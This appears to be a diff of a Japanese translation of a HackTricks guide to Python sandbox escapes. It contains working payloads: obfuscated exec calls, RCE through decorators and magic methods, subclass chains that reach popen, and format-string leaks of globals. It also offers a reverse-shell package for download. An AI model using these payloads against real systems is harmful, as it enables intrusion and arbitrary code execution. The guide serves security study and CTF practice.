リバースシェルを作成するためのパッケージをこちらからダウンロードできます。使用する前に、**解凍し、`setup.py`を変更し、リバースシェル用のIPを入力してください** リバースシェルを作成するためのパッケージをダウンロードできます。使用する前に、**それを展開し、`setup.py`を変更し、リバースシェル用のIPを入力してください**
{% file src="../../../.gitbook/assets/reverse.tar.gz" %} {% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% hint style="info" %} {% hint style="info" %}
このパッケージは`Reverse`と呼ばれます。ただし、リバースシェルを終了するとインストールの残りが失敗するように特別に作成されています。したがって、サーバーを離れる際に**余分なPythonパッケージがインストールされないように**しています このパッケージは`Reverse`と呼ばれます。ただし、リバースシェルを終了するとインストールの残りが失敗するように特別に作成されています。そのため、サーバーに**余分なPythonパッケージがインストールされることはありません**
{% endhint %} {% endhint %}
## Pythonコードの評価 ## Pythonコードの評価
@ -134,7 +134,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
``` ```
### Pythonコードを評価するための他のライブラリ ### Pythonコードを評価することを可能にする他のライブラリ
```python ```python
#Pandas #Pandas
import pandas as pd import pandas as pd
@ -174,7 +174,7 @@ return x
## 呼び出しを使用せずにPythonを実行する ## 呼び出しを使用せずにPythonを実行する
**呼び出しを行うことを許可しない**Pythonの監獄内にいる場合でも、**任意の関数、コード、コマンドを実行**する方法がいくつかあります。 **呼び出しを許可しない**Pythonのジェイル内にいる場合でも、**任意の関数、コード、コマンドを実行**する方法がいくつかあります。
### [デコレータ](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE ### [デコレータ](https://docs.python.org/3/glossary.html#term-decorator)を使用したRCE
```python ```python
@ -198,13 +198,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format @'__import__("os").system("sh")'.format
class _:pass class _:pass
``` ```
### RCEオブジェクトの作成とオーバーロード ### RCEオブジェクトの作成とオーバーロード
もし、**クラスを宣言**し、そのクラスの**オブジェクトを作成**できるなら、**異なるメソッドを書き換え**て、それらを**直接呼び出す必要なしにトリガー**できます。 もし、**クラスを宣言**し、そのクラスの**オブジェクトを作成**できるなら、**異なるメソッドを書き換え**て、それらを**直接呼び出す必要なしにトリガー**できます。
#### カスタムクラスによるRCE #### カスタムクラスによるRCE
いくつかの**クラスメソッド**を変更して(既存のクラスメソッドを上書きするか新しいクラスを作成することで)、それらを**直接呼び出さずにトリガー**されたときに**任意のコードを実行**させることができます。 いくつかの**クラスメソッド**を変更して(既存のクラスメソッドを上書きするか新しいクラスを作成することで)、それらを**直接呼び出すことなくトリガー**された時に**任意のコードを実行**させることができます。
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -273,7 +273,7 @@ Sub['import os; os.system("sh")']
``` ```
#### 例外を使用してオブジェクトを作成する #### 例外を使用してオブジェクトを作成する
**例外がトリガーされる**と、**Exception**のオブジェクトが直接コンストラクタを呼び出さなくても**作成**されます([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)**のトリック**)。 **例外がトリガーされる**と、**Exception**のオブジェクトが直接コンストラクタを呼び出さなくても**作成**されます([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)**のトリックからのテクニック**:
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -329,17 +329,17 @@ pass
* [**Python2の組み込み関数**](https://docs.python.org/2/library/functions.html) * [**Python2の組み込み関数**](https://docs.python.org/2/library/functions.html)
* [**Python3の組み込み関数**](https://docs.python.org/3/library/functions.html) * [**Python3の組み込み関数**](https://docs.python.org/3/library/functions.html)
**`__builtins__`** オブジェクトにアクセスできる場合、ライブラリをインポートすることができます(最後のセクションで示されている他の文字列表現を使用することもできます)。 もし **`__builtins__`** オブジェクトにアクセスできる場合、ライブラリをインポートすることができます(最後のセクションで示されている他の文字列表現を使用することもできます)。
```python ```python
__builtins__.__import__("os").system("ls") __builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls")
``` ```
### ビルトインなし ### 組み込み関数なし
`__builtins__` がない場合、**すべてのグローバル関数**`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたりファイルを読み書きしたりすることはできません。\ `__builtins__` がない場合、**`open`、`import`、`print`などのすべてのグローバル関数**を**読み込むことができなくなり**、ファイルの読み書きもできません。\
ただし、**デフォルトではPythonは多くのモジュールをメモリにインポート**します。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な機能**をインポートしているものもあり、これらにアクセスして**任意のコードを実行**することができます。 ただし、**デフォルトではPythonは多くのモジュールをメモリにインポート**します。これらのモジュールは無害に見えるかもしれませんが、**中には危険な機能をインポート**しているものもあり、これらにアクセスして**任意のコードを実行**することができます。
以下の例では、これらの "**無害**" モジュールの一部を**悪用**して、それらの中にある**危険な機能**に**アクセス**する方法を示しています。 以下の例では、これらの「無害」なモジュールを**悪用**して、それらの中にある**危険な機能**に**アクセス**する方法を示しています。
**Python2** **Python2**
```python ```python
@ -383,9 +383,9 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes # Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
``` ```
[**以下には、**](./#recursive-search-of-builtins-globals) **ビルトイン** を見つけることができる**場所**が**数十**/**数百**あります。 [**以下には、**](./#recursive-search-of-builtins-globals) **ビルトイン**を見つけることができる**場所**が**数十**/**数百**あります。
#### Python2 Python3 #### Python2 および Python3
```python ```python
# Recover __builtins__ and make everything easier # Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
@ -425,11 +425,13 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
``` ```
[**以下には、より多くの**関数](./#recursive-search-of-builtins-globals)があり、**グローバル変数**を見つけることができる**場所**が**数十**/**数百**あります。 ## グローバルを見つけるための再帰検索
## 任意の実行の発見 ここには、**多くの場所**で**グローバル**を見つけることができる大きな関数があります。
ここでは、**より危険な機能を簡単に発見**し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。 ## 任意の実行を発見する
ここでは、**より危険な機能**を簡単に発見し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。
#### バイパスを使用してサブクラスにアクセスする #### バイパスを使用してサブクラスにアクセスする
@ -461,14 +463,14 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
``` ```
### 危険なライブラリの検出 ### 危険なライブラリを見つける
例えば、ライブラリ**`sys`**を使用して**任意のライブラリをインポート**できることを知っている場合、**sysをインポートしているすべての読み込まれたモジュール**を検索できます。 例えば、ライブラリ**`sys`**を使用して**任意のライブラリをインポート**できることを知っている場合、**それらの中でsysをインポートしたすべてのモジュール**を検索できます:
```python ```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
``` ```
多くの方法がありますが、**実行するだけでいい**ものが必要です: 多くの方法がありますが、**実行するためには1つだけ必要です**:
```python ```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
``` ```
@ -561,7 +563,7 @@ __builtins__: _ModuleLock、_DummyModuleLock、_ModuleLockManager、ModuleSpec
## 組み込み関数、グローバル変数などの再帰的検索 ## 組み込み関数、グローバル変数などの再帰的検索
{% hint style="warning" %} {% hint style="warning" %}
これは単に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**場合は、このスクリプトを使用して、そのオブジェクトを見つける場所を**再帰的に**見つけることができます。 これは単に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**なら、このスクリプトを使用して、そのオブジェクトを見つける場所を**再帰的に**見つけることができます。
{% endhint %} {% endhint %}
```python ```python
import os, sys # Import these to find more gadgets import os, sys # Import these to find more gadgets
@ -686,7 +688,7 @@ main()
## Pythonフォーマット文字列 ## Pythonフォーマット文字列
Pythonに**送信される**文字列を**フォーマット**する場合、`{}`を使用して**Pythonの内部情報**にアクセスできます。たとえば、グローバル変数や組み込み関数にアクセスするために前の例を使用できます。 Pythonに**文字列**を**送信**して**フォーマット**する場合、`{}`を使用して**Pythonの内部情報**にアクセスできます。たとえば、グローバル変数や組み込み関数にアクセスするために前の例を使用できます。
{% hint style="info" %} {% hint style="info" %}
ただし、**制限**があります。`.[]`の記号しか使用できないため、**任意のコードを実行することはできません**。情報を読むだけです。\ ただし、**制限**があります。`.[]`の記号しか使用できないため、**任意のコードを実行することはできません**。情報を読むだけです。\
@ -711,16 +713,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
注意してください。通常の方法で**属性にアクセス**できることに注目してください。例えば、`people_obj.__init__`のように**ドット**を使います。また、**辞書要素**には**引用符なし**で**括弧**を使います。例: `__globals__[CONFIG]` 注意してください。通常の方法で**ドット**を使って属性にアクセスできることに注目してください。例えば、`people_obj.__init__`のように。また、**引用符なしで** **括弧**を使って**辞書要素**にアクセスできます。例: `__globals__[CONFIG]`
また、オブジェクトの要素を列挙するために`.__dict__`を使用できることにも注意してください。例: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` また、オブジェクトの要素を列挙するために`.__dict__`を使用できることにも注意してください。例: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
フォーマット文字列からの他の興味深い特性として、指定されたオブジェクトで**`str`**、**`repr`**、**`ascii`**の**関数**を**実行**することができます。それぞれ**`!s`**、**`!r`**、**`!a`**を追加します。 フォーマット文字列からの他の興味深い特性は、**`!s`**、**`!r`**、**`!a`**を追加することで、指定されたオブジェクトで**`str`**、**`repr`**、**`ascii`**関数を**実行**できることです。
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
さらに、クラス内で**新しいフォーマッターをコード化**することが可能です: さらに、クラス内で**新しいフォーマッターをコーディング**することが可能です:
```python ```python
class HAL9000(object): class HAL9000(object):
def __format__(self, format): def __format__(self, format):
@ -734,7 +736,7 @@ return 'HAL 9000'
**さらなる例**については、[**https://pyformat.info/**](https://pyformat.info) で**フォーマット** **文字列**の例を見つけることができます。 **さらなる例**については、[**https://pyformat.info/**](https://pyformat.info) で**フォーマット** **文字列**の例を見つけることができます。
{% hint style="danger" %} {% hint style="danger" %}
Pythonの内部オブジェクトから**機密情報を読み取る**ガジェットについても、以下のページをチェックしてください: Pythonの内部オブジェクトから**機密情報を読み取る**ガジェットについては、以下のページもチェックしてください:
{% endhint %} {% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %} {% content-ref url="../python-internal-read-gadgets.md" %}
@ -755,10 +757,10 @@ Pythonの内部オブジェクトから**機密情報を読み取る**ガジェ
## Pythonオブジェクトの解剖 ## Pythonオブジェクトの解剖
{% hint style="info" %} {% hint style="info" %}
**Pythonバイトコード**について詳しく学びたい場合は、このトピックに関する素晴らしい記事を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) **Pythonバイトコード**について詳しく学びたい場合は、このトピックに関する素晴らしい投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
一部のCTFでは、**フラグが格納されているカスタム関数の名前**が提供され、その**関数の内部**を見てそれを抽出する必要があります。 一部のCTFでは、**フラグが格納されているカスタム関数の名前**が提供され、その**関数の内部**を見て抽出する必要があります。
これが調査する関数です: これが調査する関数です:
```python ```python
@ -780,9 +782,9 @@ dir() #General dir() to find what we have loaded
dir(get_flag) #Get info tof the function dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
``` ```
#### グローバル変数 #### globals
`__globals__``func_globals`(同じ) はグローバル環境を取得します。 以下の例では、いくつかのインポートされたモジュール、いくつかのグローバル変数、およびそれらの内容が宣言されています: `__globals__``func_globals`(同じ) はグローバル環境を取得します。以下の例では、いくつかのインポートされたモジュール、いくつかのグローバル変数、およびそれらの内容が宣言されています:
```python ```python
get_flag.func_globals get_flag.func_globals
get_flag.__globals__ get_flag.__globals__
@ -795,7 +797,7 @@ CustomClassObject.__class__.__init__.__globals__
### **関数コードへのアクセス** ### **関数コードへのアクセス**
**`__code__`** と `func_code`: 関数のこの**属性**に**アクセス**して、関数のコードオブジェクトを**取得**することができます。 **`__code__`** と `func_code`: 関数のこの**属性**にアクセスして、関数のコードオブジェクトを取得できます。
```python ```python
# In our current example # In our current example
get_flag.__code__ get_flag.__code__
@ -883,7 +885,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None) 44 LOAD_CONST 0 (None)
47 RETURN_VALUE 47 RETURN_VALUE
``` ```
注意してください。**Pythonサンドボックスで`dis`をインポートできない場合**、関数の**バイトコード** (`get_flag.func_code.co_code`) を取得し、ローカルで**逆アセンブル**することができます。ロードされる変数の内容 (`LOAD_CONST`) は表示されませんが、`LOAD_CONST` はロードされる変数のオフセットも示しているため、(`get_flag.func_code.co_consts`) からそれらを推測することができます。 注意してください **もしPythonサンドボックスで`dis`をインポートできない** 場合は、関数の**バイトコード** (`get_flag.func_code.co_code`) を取得して、ローカルで**逆アセンブル** することができます。ロードされている変数の内容 (`LOAD_CONST`) は見えませんが、`LOAD_CONST` はロードされている変数のオフセットも示しているため、(`get_flag.func_code.co_consts`) からそれらを推測することができます。
```python ```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1) 0 LOAD_CONST 1 (1)
@ -908,7 +910,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
## Pythonのコンパイル ## Pythonのコンパイル
さて、何らかの方法で**実行できない関数に関する情報をダンプ**できると想像してみましょうが、それを**実行する必要がある**とします。\ さて、何らかの方法で**実行できない関数に関する情報をダンプ**できると想像してみましょうが、それを**実行する必要がある**とします。\
次の例のように、その関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読んでもフラグをどのように計算すればよいかはわからない_より複雑な`calc_flag`関数を想像してください_ 次の例のように、その関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読んでもフラグを計算する方法がわからない**より複雑な`calc_flag`関数を想像してください)**
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -949,10 +951,12 @@ import types
types.CodeType.__doc__ types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
``` ```
{% endhint %}
### リークした関数の再現 ### リークした関数の再現
{% hint style="warning" %} {% hint style="warning" %}
次の例では、関数コードオブジェクトから直接関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**リークする必要がある**ことに注意してください 次の例では、関数コードオブジェクトから直接関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩する必要がある**ものです
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -966,10 +970,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
``` ```
### 防御をバイパスする ### 防御をバイパスする
この投稿の冒頭での以前の例では、`compile`関数を使用して**どのようにしてPythonコードを実行するか**を見ることができます。これは興味深いことです。なぜなら、**ループを含むスクリプト全体を**(そして**`exec`**を使用して同じことができます)**ワンライナーで実行**できるからです。\ この投稿の冒頭での以前の例では、`compile`関数を使用して**任意のPythonコードを実行する方法**を見ることができます。これは興味深いことです。なぜなら、**ループを含むスクリプト全体を**(そして**`exec`**を使用して同じことができます)**ワンライナーで実行できる**からです。\
とにかく、**ローカルマシン**で**コンパイルされたオブジェクト**を作成し、**CTFマシン**でそれを実行することが便利な場合がありますたとえば、CTFに`compile`関数がない場合など)。 とにかく、**ローカルマシン**で**コンパイルされたオブジェクト**を作成し、**CTFマシン**でそれを実行することが便利な場合がありますたとえば、CTFに`compile`関数がないため)。
例えば、次のようにして、手動で_./poc.py_を読み込む関数をコンパイルして実行します 例えば、_./poc.py_を読み込む関数を手動でコンパイルして実行してみましょう
```python ```python
#Locally #Locally
def read(): def read():
@ -1039,20 +1043,20 @@ print(f"\nNot a Super User!!!\n")
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>でAWSハッキングをゼロからヒーローまで学びましょう</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
